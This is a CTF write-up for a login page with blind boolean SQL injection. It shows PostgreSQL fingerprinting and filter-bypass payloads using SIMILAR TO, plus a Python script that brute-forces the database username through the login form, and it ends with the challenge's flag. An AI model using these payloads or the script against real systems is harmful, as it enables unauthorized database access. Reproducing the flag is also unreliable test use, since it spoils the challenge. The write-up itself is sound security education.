Post

Real

Description

A BBH got a vulnerability in this site but the triager needs POC, The flag will be the db username in UPPERCASE and there’s rate limit (1 request per second)

Steps

In this challenge we were presented with a login page with a username and a password field. After testing some payloads we found that it is vulnerable to Blind Boolean SQL Injection and responds with one of four messages:

  1. Error (when SQL payload is incorrect)
  2. Welcome (when SQL payload returns something)
  3. User not found (when SQL payload doesn’t return anything)
  4. Filtered (when we use banned characters/words) with these 4 error messages we can start extracting information about the underlying database.

By trying some DBMS identification payloads we find out that the ( and ) are banned therefore we cannot execute SQL functions. However, we discovered that the underlying DBMS is PostgreSQL using the following payload '+or+5::int=5--.

Now we just need to find out which keywords are allowed in order to extract the database username letter by letter.

We found that we are not able to use LIKE but we found many options to brute guess the username such as SIMILAR TO, > and ~ to compare the output against a string.

Solution

Using the information we gathered we decided to use SIMILAR TO and constructed a payload to guess the number of characters in the database username by comparing it against the _ character which is considered a wildcard character that matches to anything in the payload ' or user SIMILAR TO '_'-- so we kept appending underscores until we hit a match at 12 characters. We then wrote a python script to brute force the flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import time
import requests
import string

headers = {
    "Content-Type": "application/x-www-form-urlencoded",
}

FLAG = "$_____________________"

while True:
    payload = "username=' or user SIMILAR TO '{flag}'--&password=%27+or+1%3D1--"
    for i in string.ascii_uppercase + "{}_":
        data = payload.format(flag=FLAG.replace("$", f"{i}"))
        try:
            response = requests.post(
                "https://real.ascwg-challs.app/login", headers=headers, data=data
            )
        except requests.exceptions.RequestException as e:
            print(f"[!] {e}")
        if response.status_code == 200:
            if FLAG[-1] == "_":
                FLAG = FLAG[:-1].replace("$", f"{i}$")
                print(f"[+] {i} Flag: {FLAG}")
            else:
                print(f"[*] Flag: {FLAG.replace('$', i)}")
				exit(0)
            time.sleep(1.2)
            break
        else:
            print(f"[x] {FLAG.replace('$', f'{i}')}")
            print(f"[x] {response.text}")
        time.sleep(1.2)

We left the script to run for a while until it got us the full flag

Flag

ASCWG{YEAH_YOU_DID_IT}

This post is licensed under CC BY 4.0 by the author.